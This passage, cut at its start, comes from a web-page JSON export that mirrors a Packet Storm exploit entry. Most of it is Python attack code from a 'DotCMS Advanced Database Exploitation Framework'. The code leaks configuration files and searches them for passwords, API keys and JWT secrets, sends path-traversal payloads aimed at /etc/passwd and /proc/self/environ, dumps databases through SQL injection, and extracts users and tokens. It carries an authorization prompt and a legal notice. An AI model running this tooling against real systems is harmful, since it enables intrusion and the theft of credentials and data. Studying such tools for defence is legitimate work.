f\\&#8221;{self.results_dir}\/config_{safe_name}.txt\\&#8221;\\n                        with open(file_path, &#8216;w&#8217;, encoding=&#8217;utf-8&#8242;) as f:\\n                            f.write(response.text)\\n                        \\n                        leaked_files.append({\\n                            &#8216;file&#8217;: config_file,\\n                            &#8216;url&#8217;: url,\\n                            &#8216;size&#8217;: len(response.text),\\n                            &#8216;saved_as&#8217;: file_path\\n                        })\\n                        \\n                        self.stats[&#8216;files_leaked&#8217;] += 1\\n                        \\n                        # Check for sensitive info\\n                        sensitive_patterns = [\\n                            r&#8217;password\\\\s*[:=]\\\\s*[\\\\&#8217;\\&#8221;]?([^\\\\&#8217;\\&#8221;\\\\s]+)&#8217;,\\n                            r&#8217;secret\\\\s*[:=]\\\\s*[\\\\&#8217;\\&#8221;]?([^\\\\&#8217;\\&#8221;\\\\s]+)&#8217;,\\n                            r&#8217;api[_-]?key\\\\s*[:=]\\\\s*[\\\\&#8217;\\&#8221;]?([^\\\\&#8217;\\&#8221;\\\\s]+)&#8217;,\\n                            r&#8217;database.*password&#8217;,\\n                            r&#8217;jwt.*secret&#8217;\\n                        ]\\n                        \\n                        for pattern in sensitive_patterns:\\n                            matches = re.findall(pattern, response.text, re.IGNORECASE)\\n                            if matches:\\n                                self.log(f\\&#8221;[!] Sensitive data found in {config_file}: {matches[:3]}\\&#8221;, &#8216;critical&#8217;)\\n                \\n                except Exception as e:\\n                    continue\\n            \\n            return leaked_files\\n        \\n        def check_file_inclusion(self):\\n            \\&#8221;\\&#8221;\\&#8221;Check for file inclusion vulnerabilities\\&#8221;\\&#8221;\\&#8221;\\n            self.log(\\&#8221;\\\\n[*] Checking for file inclusion vulnerabilities&#8230;\\&#8221;, &#8216;info&#8217;)\\n            \\n            lfi_payloads = [\\n                &#8216;..\/..\/..\/..\/etc\/passwd&#8217;,\\n                &#8216;..\/..\/..\/..\/windows\/win.ini&#8217;,\\n                &#8216;..\/..\/..\/..\/WEB-INF\/web.xml&#8217;,\\n                &#8216;..\/..\/..\/..\/proc\/self\/environ&#8217;,\\n                &#8216;file:\/\/\/etc\/passwd&#8217;,\\n                &#8216;&#8230;.\/\/&#8230;.\/\/&#8230;.\/\/etc\/passwd&#8217;\\n            ]\\n            \\n            vulnerable_endpoints = [\\n                &#8216;\/api\/v1\/download&#8217;,\\n                &#8216;\/dotAdmin\/download&#8217;,\\n                &#8216;\/html\/portlet\/ext\/contentlet\/field_validation.jsp&#8217;,\\n                &#8216;\/c\/download&#8217;\\n            ]\\n            \\n            found_lfi = []\\n            \\n            for endpoint in vulnerable_endpoints:\\n                for payload in lfi_payloads:\\n                    url = urljoin(self.target, endpoint)\\n                    params = {&#8216;file&#8217;: payload, &#8216;filename&#8217;: payload}\\n                    \\n                    try:\\n                        response = self.session.get(url, params=params, timeout=10)\\n                        \\n                        # Check for LFI indicators\\n                        indicators = [&#8216;root:&#8217;, &#8216;[fonts]&#8217;, &#8216;\\u003cweb-app&#8217;, &#8216;PATH=&#8217;, &#8216;JAVA_OPTS&#8217;]\\n                        if any(indicator in response.text for indicator in indicators):\\n                            self.log(f\\&#8221;[!] LFI vulnerability found: {endpoint}?file={payload}\\&#8221;, &#8216;critical&#8217;)\\n                            found_lfi.append({\\n                                &#8216;endpoint&#8217;: endpoint,\\n                                &#8216;payload&#8217;: payload,\\n                                &#8216;response_sample&#8217;: response.text[:200]\\n                            })\\n                            \\n                            self.evidence.add_evidence(\\n                                &#8216;Local_File_Inclusion&#8217;,\\n                                endpoint,\\n                                payload,\\n                                f\\&#8221;GET {url}?file={quote(payload)}\\&#8221;,\\n                                response.text[:1000],\\n                                severity=\\&#8221;High\\&#8221;,\\n                                cvss=7.5,\\n                                cwe=22\\n                            )\\n                            break\\n                    \\n                    except Exception as e:\\n                        continue\\n            \\n            return found_lfi\\n        \\n        def run_database_exploitation(self, vulnerable_endpoint=None):\\n            \\&#8221;\\&#8221;\\&#8221;Run database-specific exploitation\\&#8221;\\&#8221;\\&#8221;\\n            self.log(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221;*80, &#8216;info&#8217;)\\n            self.log(\\&#8221;DATABASE EXPLOITATION MODULE\\&#8221;, &#8216;section&#8217;)\\n            self.log(\\&#8221;=\\&#8221;*80, &#8216;info&#8217;)\\n            \\n            # If no endpoint provided, find one\\n            if not vulnerable_endpoint:\\n                sqli_vulns = self.enhanced_sqli_testing()\\n                if sqli_vulns:\\n                    vulnerable_endpoint = sqli_vulns[0].get(&#8216;endpoint&#8217;)\\n                    self.log(f\\&#8221;[+] Using vulnerable endpoint: {vulnerable_endpoint}\\&#8221;, &#8216;success&#8217;)\\n                else:\\n                    self.log(\\&#8221;[-] No SQL injection vulnerabilities found\\&#8221;, &#8216;error&#8217;)\\n                    return None\\n            \\n            # Run comprehensive database dump\\n            db_results = self.db_enumerator.comprehensive_database_dump(vulnerable_endpoint)\\n            \\n            # Update statistics\\n            if db_results:\\n                self.stats[&#8216;tables_enumerated&#8217;] = len(db_results.get(&#8216;tables&#8217;, []))\\n                self.stats[&#8216;records_dumped&#8217;] = sum(\\n                    len(data) for data in db_results.get(&#8216;dumped_data&#8217;, {}).values()\\n                )\\n            \\n            return db_results\\n        \\n        def run_full_exploitation(self):\\n            \\&#8221;\\&#8221;\\&#8221;Run complete exploitation chain including database\\&#8221;\\&#8221;\\&#8221;\\n            self.log(f\\&#8221;\\\\n{Fore.CYAN}{&#8216;=&#8217;*80}\\&#8221;, &#8216;info&#8217;)\\n            self.log(f\\&#8221;{Fore.YELLOW}STARTING COMPLETE EXPLOITATION CHAIN\\&#8221;, &#8216;info&#8217;)\\n            self.log(f\\&#8221;{Fore.CYAN}{&#8216;=&#8217;*80}{Style.RESET_ALL}\\&#8221;, &#8216;info&#8217;)\\n            \\n            # Phase 1: Reconnaissance\\n            self.log(\\&#8221;\\\\n[PHASE 1] RECONNAISSANCE\\&#8221;, &#8216;section&#8217;)\\n            self.check_tls()\\n            self.cors_analysis()\\n            \\n            # Async discovery\\n            try:\\n                loop = asyncio.new_event_loop()\\n                asyncio.set_event_loop(loop)\\n                discovered = loop.run_until_complete(self.async_discovery())\\n                loop.close()\\n            except:\\n                self.log(\\&#8221;[-] Async discovery failed, continuing&#8230;\\&#8221;, &#8216;warning&#8217;)\\n            \\n            # Phase 2: Vulnerability Assessment\\n            self.log(\\&#8221;\\\\n[PHASE 2] VULNERABILITY ASSESSMENT\\&#8221;, &#8216;section&#8217;)\\n            sqli_vulns = self.enhanced_sqli_testing()\\n            \\n            # Phase 3: Database Exploitation\\n            self.log(\\&#8221;\\\\n[PHASE 3] DATABASE EXPLOITATION\\&#8221;, &#8216;section&#8217;)\\n            db_results = None\\n            if sqli_vulns:\\n                db_results = self.run_database_exploitation(sqli_vulns[0].get(&#8216;endpoint&#8217;))\\n            else:\\n                self.log(\\&#8221;[-] Skipping database exploitation &#8211; no SQLi found\\&#8221;, &#8216;warning&#8217;)\\n            \\n            # Phase 4: Application Exploitation\\n            self.log(\\&#8221;\\\\n[PHASE 4] APPLICATION EXPLOITATION\\&#8221;, &#8216;section&#8217;)\\n            \\n            if sqli_vulns:\\n                # Extract users\\n                users = self.extract_users_comprehensive(sqli_vulns[0].get(&#8216;endpoint&#8217;))\\n            else:\\n                # Try anyway\\n                users = self.extract_users_comprehensive()\\n            \\n            # Hunt for JWT tokens\\n            tokens = self.enhanced_jwt_hunting()\\n            \\n            # Phase 5: Post-Exploitation\\n            self.log(\\&#8221;\\\\n[PHASE 5] POST-EXPLOITATION\\&#8221;, &#8216;section&#8217;)\\n            leaked_configs = self.dump_configuration()\\n            lfi_vulns = self.check_file_inclusion()\\n            \\n            # Phase 6: Reporting\\n            self.log(\\&#8221;\\\\n[PHASE 6] REPORTING\\&#8221;, &#8216;section&#8217;)\\n            self.generate_comprehensive_report(sqli_vulns, users, tokens, leaked_configs, lfi_vulns, db_results)\\n            \\n            # Show statistics\\n            self.show_statistics()\\n        \\n        def generate_comprehensive_report(self, sqli_vulns, users, tokens, configs, lfi_vulns, db_results=None):\\n            \\&#8221;\\&#8221;\\&#8221;Generate professional report with database findings\\&#8221;\\&#8221;\\&#8221;\\n            report = f\\&#8221;\\&#8221;\\&#8221;\\n    {&#8216;=&#8217;*80}\\n    PENETRATION TEST REPORT &#8211; DotCMS Assessment\\n    {&#8216;=&#8217;*80}\\n    \\n    Target: {self.target}\\n    Date: {datetime.now()}\\n    Tool: DotCMS Advanced Exploitation Framework\\n    \\n    EXECUTIVE SUMMARY\\n    {&#8216;-&#8216;*80}\\n    Critical Vulnerabilities: {len(sqli_vulns)}\\n    Database Tables Enumerated: {self.stats[&#8216;tables_enumerated&#8217;]}\\n    Database Records Dumped: {self.stats[&#8216;records_dumped&#8217;]}\\n    Sensitive Data Exposed: {len(users) + len(tokens)}\\n    Configuration Files Leaked: {len(configs)}\\n    LFI Vulnerabilities: {len(lfi_vulns)}\\n    Overall Risk: {\\&#8221;CRITICAL\\&#8221; if len(sqli_vulns) \\u003e 0 else \\&#8221;HIGH\\&#8221;}\\n    \\&#8221;\\&#8221;\\&#8221;\\n            \\n            # Database specific findings\\n            if db_results:\\n                report += f\\&#8221;\\&#8221;\\&#8221;\\n    DATABASE FINDINGS\\n    {&#8216;-&#8216;*80}\\n    Database Type: {db_results.get(&#8216;database_info&#8217;, {}).get(&#8216;type&#8217;, &#8216;Unknown&#8217;)}\\n    Tables Discovered: {len(db_results.get(&#8216;tables&#8217;, []))}\\n    Tables Dumped: {len(db_results.get(&#8216;dumped_data&#8217;, {}))}\\n    Sensitive Columns: {len(db_results.get(&#8216;sensitive_columns&#8217;, {}))}\\n    Cleartext Passwords\/Data: {len(db_results.get(&#8216;cleartext_data&#8217;, {}))}\\n    \\&#8221;\\&#8221;\\&#8221;\\n            \\n            report += f\\&#8221;\\&#8221;\\&#8221;\\n    DETAILED FINDINGS\\n    {&#8216;-&#8216;*80}\\n    1. SQL INJECTION VULNERABILITIES: {len(sqli_vulns)}\\n    \\&#8221;\\&#8221;\\&#8221;\\n            \\n            for i, vuln in enumerate(sqli_vulns, 1):\\n                report += f\\&#8221;   {i}. Endpoint: {vuln.get(&#8216;endpoint&#8217;, &#8216;N\/A&#8217;)}\\\\n\\&#8221;\\n                report += f\\&#8221;      Type: {vuln.get(&#8216;type&#8217;, &#8216;N\/A&#8217;)}\\\\n\\&#8221;\\n                if &#8216;delay&#8217; in vuln:\\n                    report += f\\&#8221;      Delay: {vuln[&#8216;delay&#8217;]} seconds\\\\n\\&#8221;\\n                report += f\\&#8221;      Payload: {vuln.get(&#8216;payload&#8217;, &#8216;N\/A&#8217;)[:50]}&#8230;\\\\n\\&#8221;\\n            \\n            # Database findings\\n            if db_results and db_results.get(&#8216;tables&#8217;):\\n                report += f\\&#8221;\\&#8221;\\&#8221;\\n    2. DATABASE ENUMERATION RESULTS\\n    \\&#8221;\\&#8221;\\&#8221;\\n                for i, table in enumerate(db_results.get(&#8216;tables&#8217;, [])[:10], 1):\\n                    report += f\\&#8221;   {i}. Table: {table}\\\\n\\&#8221;\\n                \\n                if db_results.get(&#8216;dumped_data&#8217;):\\n                    report += f\\&#8221;\\\\n   Data dumped from {len(db_results[&#8216;dumped_data&#8217;])} tables\\\\n\\&#8221;\\n                \\n                if db_results.get(&#8216;cleartext_data&#8217;):\\n                    report += f\\&#8221;   Cleartext data found in {len(db_results[&#8216;cleartext_data&#8217;])} columns\\\\n\\&#8221;\\n            \\n            report += f\\&#8221;\\&#8221;\\&#8221;\\n    3. USER DATA EXPOSED: {len(users)}\\n    \\&#8221;\\&#8221;\\&#8221;\\n            for i, user in enumerate(users[:5], 1):\\n                report += f\\&#8221;   {i}. Email: {user.get(&#8217;email&#8217;, &#8216;N\/A&#8217;)}\\\\n\\&#8221;\\n            \\n            report += f\\&#8221;\\&#8221;\\&#8221;\\n    4. JWT TOKENS FOUND: {len(tokens)}\\n    \\&#8221;\\&#8221;\\&#8221;\\n            for i, token in enumerate(tokens[:3], 1):\\n                report += f\\&#8221;   {i}. Token: {token[:30]}&#8230;\\\\n\\&#8221;\\n            \\n            report += f\\&#8221;\\&#8221;\\&#8221;\\n    5. CONFIGURATION FILES: {len(configs)}\\n    \\&#8221;\\&#8221;\\&#8221;\\n            for i, config in enumerate(configs[:3], 1):\\n                report += f\\&#8221;   {i}. File: {config.get(&#8216;file&#8217;, &#8216;N\/A&#8217;)}\\\\n\\&#8221;\\n            \\n            report += f\\&#8221;\\&#8221;\\&#8221;\\n    6. LFI VULNERABILITIES: {len(lfi_vulns)}\\n    \\&#8221;\\&#8221;\\&#8221;\\n            for i, lfi in enumerate(lfi_vulns, 1):\\n                report += f\\&#8221;   {i}. Endpoint: {lfi.get(&#8216;endpoint&#8217;, &#8216;N\/A&#8217;)}\\\\n\\&#8221;\\n                report += f\\&#8221;      Payload: {lfi.get(&#8216;payload&#8217;, &#8216;N\/A&#8217;)}\\\\n\\&#8221;\\n            \\n            report += f\\&#8221;\\&#8221;\\&#8221;\\n    RECOMMENDATIONS\\n    {&#8216;-&#8216;*80}\\n    1. IMMEDIATE: Patch all SQL injection vulnerabilities\\n    2. Encrypt all database fields containing sensitive data\\n    3. Implement proper input validation and parameterized queries\\n    4. Rotate all exposed credentials and JWT tokens\\n    5. Implement database activity monitoring\\n    6. Restrict access to configuration files\\n    7. Conduct comprehensive security audit\\n    8. Implement Web Application Firewall (WAF)\\n    \\n    EVIDENCE LOCATION\\n    {&#8216;-&#8216;*80}\\n    Evidence Database: {self.evidence.evidence_db}\\n    Results Directory: {self.results_dir}\\n    Database Dumps: {self.results_dir}\/dump_*.json\\n    Full Database Report: {self.results_dir}\/database_penetration_report.txt\\n    Log File: {self.results_dir}\/execution.log\\n    \\n    {&#8216;=&#8217;*80}\\n    END OF REPORT\\n    {&#8216;=&#8217;*80}\\n    \\&#8221;\\&#8221;\\&#8221;\\n            \\n            report_file = f\\&#8221;{self.results_dir}\/penetration_test_report.txt\\&#8221;\\n            with open(report_file, &#8216;w&#8217;, encoding=&#8217;utf-8&#8242;) as f:\\n                f.write(report)\\n            \\n            self.log(f\\&#8221;[+] Report generated: {report_file}\\&#8221;, &#8216;success&#8217;)\\n            print(f\\&#8221;\\\\n{Fore.GREEN}{report[:2000]}&#8230;{Style.RESET_ALL}\\&#8221;)\\n        \\n        def show_statistics(self):\\n            \\&#8221;\\&#8221;\\&#8221;Show execution statistics\\&#8221;\\&#8221;\\&#8221;\\n            stats_text = f\\&#8221;\\&#8221;\\&#8221;\\n    {&#8216;=&#8217;*80}\\n    EXPLOITATION STATISTICS\\n    {&#8216;=&#8217;*80}\\n    \\n    Vulnerabilities Found: {self.stats[&#8216;vulnerabilities&#8217;]}\\n    Database Tables Enumerated: {self.stats[&#8216;tables_enumerated&#8217;]}\\n    Database Records Dumped: {self.stats[&#8216;records_dumped&#8217;]}\\n    Users Extracted: {self.stats[&#8216;users_extracted&#8217;]}\\n    JWT Tokens Found: {self.stats[&#8216;tokens_found&#8217;]}\\n    Files Leaked: {self.stats[&#8216;files_leaked&#8217;]}\\n    \\n    DIRECTORIES CREATED\\n    {&#8216;-&#8216;*80}\\n    Evidence Directory: {self.evidence.evidence_dir}\\n    Results Directory: {self.results_dir}\\n    Database Dumps: {self.results_dir}\/dump_*.{json,csv}\\n    \\n    NEXT STEPS\\n    {&#8216;-&#8216;*80}\\n    1. Review database dumps in: {self.results_dir}\/dump_*.json\\n    2. Check cleartext data in: {self.results_dir}\/cleartext_search.json\\n    3. See database report: {self.results_dir}\/database_penetration_report.txt\\n    4. Present critical findings to security team immediately\\n    \\n    {&#8216;=&#8217;*80}\\n    \\&#8221;\\&#8221;\\&#8221;\\n            \\n            print(f\\&#8221;{Fore.CYAN}{stats_text}{Style.RESET_ALL}\\&#8221;)\\n    \\n    def main():\\n        \\&#8221;\\&#8221;\\&#8221;Main function\\&#8221;\\&#8221;\\&#8221;\\n        banner = r\\&#8221;\\&#8221;\\&#8221;\\n     \u2588\u2588\u2557\u2588\u2588\u2588\u2557   \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2557   \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557  \u2588\u2588\u2557\u2588\u2588\u2557  \u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2557 \\n     \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2551  \u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2554\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\\n     \u2588\u2588\u2551\u2588\u2588\u2554\u2588\u2588\u2557 \u2588\u2588\u2551\u2588\u2588   \u2588\u2554\u255d\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2554\u255d \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\\n     \u2588\u2588\u2551\u2588\u2588\u2551\u255a\u2588\u2588\u2557\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2551   \u2588\u2588\u2551\u255a\u2550\u2550\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2588\u2588\u2557 \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\\n     \u2588\u2588\u2551\u2588\u2588\u2551 \u255a\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2551  \u2588\u2588\u2551\u2588\u2588\u2551  \u2588\u2588\u2557\u2588\u2588\u2551  \u2588\u2588\u2551\\n     \u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u255d  \u255a\u2550\u2550\u2550\u2550\u2550\u255d  \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d\\n        \\n        Advanced Database Exploitation Framework\\n        Authorized testing only!\\n        \\&#8221;\\&#8221;\\&#8221;\\n        \\n        parser = argparse.ArgumentParser(\\n            description=&#8217;DotCMS Advanced Database Exploitation Framework&#8217;,\\n            formatter_class=argparse.RawDescriptionHelpFormatter,\\n            epilog=&#8221;&#8217;\\n    Examples:\\n      %(prog)s -t https:\/\/target.com:8443 &#8211;database\\n      %(prog)s &#8211;target http:\/\/localhost:8080 &#8211;full\\n      \\n    Modes:\\n      &#8211;database     : Perform database enumeration and dump only\\n      &#8211;full         : Complete exploitation including database\\n      &#8211;quick        : Quick scan without heavy operations\\n    \\n    Legal Notice:\\n      This tool is for authorized penetration testing only.\\n      Unauthorized use is illegal and unethical.\\n            &#8221;&#8217;\\n        )\\n        \\n        parser.add_argument(&#8216;-t&#8217;, &#8216;&#8211;target&#8217;, required=True,\\n                           help=&#8217;Target URL (e.g., https:\/\/target.com:8443)&#8217;)\\n        parser.add_argument(&#8216;&#8211;database&#8217;, action=&#8217;store_true&#8217;,\\n                           help=&#8217;Database enumeration and dump only&#8217;)\\n        parser.add_argument(&#8216;&#8211;full&#8217;, action=&#8217;store_true&#8217;,\\n                           help=&#8217;Complete exploitation (including database)&#8217;)\\n        parser.add_argument(&#8216;&#8211;quick&#8217;, action=&#8217;store_true&#8217;,\\n                           help=&#8217;Quick scan only&#8217;)\\n        \\n        args = parser.parse_args()\\n        \\n        print(f\\&#8221;{Fore.RED}{banner}{Style.RESET_ALL}\\&#8221;)\\n        \\n        # Confirm authorization\\n        response = input(f\\&#8221;{Fore.YELLOW}[?] Do you have explicit permission to test {args.target}? (yes\/NO): {Style.RESET_ALL}\\&#8221;)\\n        if response.lower() != &#8216;yes&#8217;:\\n            print(f\\&#8221;{Fore.RED}[!] Operation cancelled. Unauthorized access is illegal.{Style.RESET_ALL}\\&#8221;)\\n            sys.exit(1)\\n        \\n        # Run exploitation\\n        try:\\n            exploit = DotCMSExploiter(args.target)\\n            \\n            if args.database:\\n                # Database-only mode\\n                exploit.log(\\&#8221;[*] Running database exploitation only&#8230;\\&#8221;, &#8216;info&#8217;)\\n                sqli_vulns = exploit.enhanced_sqli_testing()\\n                if sqli_vulns:\\n                    exploit.run_database_exploitation(sqli_vulns[0].get(&#8216;endpoint&#8217;))\\n                else:\\n                    exploit.log(\\&#8221;[-] No SQL injection found for database exploitation\\&#8221;, &#8216;error&#8217;)\\n            \\n            elif args.full:\\n                # Full exploitation including database\\n                exploit.run_full_exploitation()\\n            \\n            elif args.quick:\\n                # Quick mode\\n                exploit.log(\\&#8221;[*] Running quick scan&#8230;\\&#8221;, &#8216;info&#8217;)\\n                exploit.check_tls()\\n                sqli_vulns = exploit.enhanced_sqli_testing()\\n                if sqli_vulns:\\n                    exploit.extract_users_comprehensive(sqli_vulns[0].get(&#8216;endpoint&#8217;))\\n                exploit.generate_comprehensive_report(sqli_vulns or [], [], [], [], [])\\n            \\n            else:\\n                # Interactive mode\\n                print(f\\&#8221;\\\\n{Fore.CYAN}Select operation mode:{Style.RESET_ALL}\\&#8221;)\\n                print(f\\&#8221;1. Full exploitation (including database)\\&#8221;)\\n                print(f\\&#8221;2. Database enumeration only\\&#8221;)\\n                print(f\\&#8221;3. Quick vulnerability scan\\&#8221;)\\n                \\n                choice = input(f\\&#8221;\\\\n{Fore.YELLOW}Select option (1-3): {Style.RESET_ALL}\\&#8221;)\\n                \\n                if choice == &#8216;1&#8217;:\\n                    exploit.run_full_exploitation()\\n                elif choice == &#8216;2&#8217;:\\n                    sqli_vulns = exploit.enhanced_sqli_testing()\\n                    if sqli_vulns:\\n                        exploit.run_database_exploitation(sqli_vulns[0].get(&#8216;endpoint&#8217;))\\n                    else:\\n                        exploit.log(\\&#8221;[-] No SQL injection found\\&#8221;, &#8216;error&#8217;)\\n                elif choice == &#8216;3&#8217;:\\n                    exploit.check_tls()\\n                    sqli_vulns = exploit.enhanced_sqli_testing()\\n                    if sqli_vulns:\\n                        exploit.extract_users_comprehensive(sqli_vulns[0].get(&#8216;endpoint&#8217;))\\n                    exploit.generate_comprehensive_report(sqli_vulns or [], [], [], [], [])\\n                else:\\n                    exploit.log(\\&#8221;[*] Running full exploitation by default\\&#8221;, &#8216;info&#8217;)\\n                    exploit.run_full_exploitation()\\n            \\n        except KeyboardInterrupt:\\n            print(f\\&#8221;\\\\n{Fore.YELLOW}[!] Scan interrupted by user{Style.RESET_ALL}\\&#8221;)\\n        except Exception as e:\\n            print(f\\&#8221;{Fore.RED}[!] Critical error: {str(e)}{Style.RESET_ALL}\\&#8221;)\\n            import traceback\\n            traceback.print_exc()\\n    \\n    if __name__ == &#8216;__main__&#8217;:\\n        # Fix Windows asyncio event loop policy\\n        if sys.platform == &#8216;win32&#8217;:\\n            asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())\\n        \\n        main()\\n    \\n    \\t\\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212770&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212770\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-12T17:15:30&#8243;,&#8221;description&#8221;:&#8221;dotCMS version 24.04.24 advanced exploitation python scanning script that looks for local file inclusion, data exposure, SQL injection, and more&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-12T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-12T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 dotCMS 24.04.24 Vulnerability Scanner&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212770&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n |&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-30773","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 dotCMS 24.04.24 Vulnerability Scanner_PACKETSTORM:212770 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=30773\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 dotCMS 24.04.24 Vulnerability Scanner_PACKETSTORM:212770 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-12T17:15:30&#8243;,&#8221;description&#8221;:&#8221;dotCMS version 24.04.24 advanced exploitation python scanning script that looks for local file inclusion, data exposure, SQL injection, and more&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-12T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-12T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 dotCMS 24.04.24 Vulnerability Scanner&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212770&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n |...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=30773\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-12T11:58:44+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written 